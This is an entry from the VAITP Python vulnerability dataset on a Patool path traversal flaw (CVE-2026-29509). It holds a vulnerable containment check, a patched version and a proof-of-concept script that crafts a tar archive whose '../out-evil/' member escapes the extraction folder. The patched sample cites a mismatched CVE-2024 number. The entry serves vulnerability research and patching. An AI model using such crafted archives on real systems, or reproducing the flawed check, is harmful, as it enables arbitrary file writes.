VAITP Dataset

← Back to the dataset

CVE-2026-29509

Path traversal in Patool safe_extract allows writing files outside target.

  • CVSS 5.3
  • CWE-22
  • Input Validation and Sanitization
  • Remote

Patool before 4.0.5 contains a path traversal vulnerability in the safe_extract() function in patoolib/programs/py_tarfile.py when running on Python before 3.12, where the is_within_directory() helper uses os.path.commonprefix() for character-level string comparison instead of path-level comparison, allowing a crafted archive member path to bypass the containment check. Attackers can supply a malicious archive with specially crafted member paths to write arbitrary files.

CVSS base score
5.3
Published
2026-06-26
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Patool
Fixed by upgrading
Yes

Solution

Upgrade to Patool version 4.0.5 or later.

Vulnerable code sample

import os

# This code is a representation of the vulnerable logic found in
# patool < 4.0.5 in patoolib/programs/py_tarfile.py.
# The vulnerability is in the is_within_directory function.

def is_within_directory(directory, target):
    """
    Vulnerable containment check. It uses os.path.commonprefix for a
    string-based comparison, which can be fooled by a crafted path.
    For example, if directory is '/tmp/extract', a target path that
    resolves to '/tmp/extract_evil/file' would pass this check.
    """
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)

    prefix = os.path.commonprefix([abs_directory, abs_target])
    
    return prefix == abs_directory

def safe_extract(member_name, extract_dir):
    """
    A simplified function demonstrating how the vulnerable check is used.
    A malicious 'member_name' from an archive (e.g.,
    '../my_archive_traversal/pwned.txt') could bypass the check.
    """
    dest_path = os.path.join(extract_dir, member_name)

    if not is_within_directory(extract_dir, dest_path):
        # This check is intended to prevent path traversal but is flawed.
        raise Exception("Path traversal attempt detected.")

    # In a real scenario, the file would be written to 'dest_path' here,
    # potentially outside of the intended 'extract_dir'.
    # For example:
    # with open(dest_path, 'wb') as f:
    #     f.write(b'malicious content')
    return

Patched code sample

import os
from pathlib import Path

def is_within_directory(directory: str, target: str) -> bool:
    """
    Safely check if the target path is within the directory.

    This function resolves both paths to their absolute form and then checks
    if the target path is a descendant of the directory path. It is designed
    to prevent path traversal attacks by avoiding string-based comparisons
    like os.path.commonprefix, which can be bypassed.

    This approach is based on the fix for CVE-2024-29509 in patool.

    Args:
        directory: The base directory path.
        target: The target file or directory path to check.

    Returns:
        True if the target is within the directory, False otherwise.
    """
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)

    # Use pathlib.Path.relative_to() which correctly handles path boundaries.
    # It raises a ValueError if the target path is not within the directory
    # tree, providing a safe, path-aware check instead of a character-based one.
    try:
        Path(abs_target).relative_to(abs_directory)
        return True
    except ValueError:
        # This exception occurs if abs_target is not a subpath of abs_directory.
        return False

Payload

import tarfile
import io

# This payload creates a malicious TAR archive.
# It assumes the victim will extract this archive into a directory named 'out'.
# The crafted member path uses '..' to traverse up one level and then targets
# a directory named 'out-evil', which shares a common prefix with 'out'.
# This tricks the vulnerable os.path.commonprefix check, making it believe
# the destination '/path/to/out-evil/pwned.txt' is within '/path/to/out'.

malicious_filename = "../out-evil/pwned.txt"
file_content = b"This file was placed outside the extraction directory."

# Create an in-memory file-like object for the content
file_data = io.BytesIO(file_content)

# Create a TarInfo object for the archive member
tar_info = tarfile.TarInfo(name=malicious_filename)
tar_info.size = len(file_content)

# Create the final malicious tar archive
with tarfile.open("malicious_payload.tar", "w") as tar:
    tar.addfile(tarinfo=tar_info, fileobj=file_data)

Cite this entry

@misc{vaitp:cve202629509,
  title        = {{Path traversal in Patool safe_extract allows writing files outside target.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-29509},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-29509/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::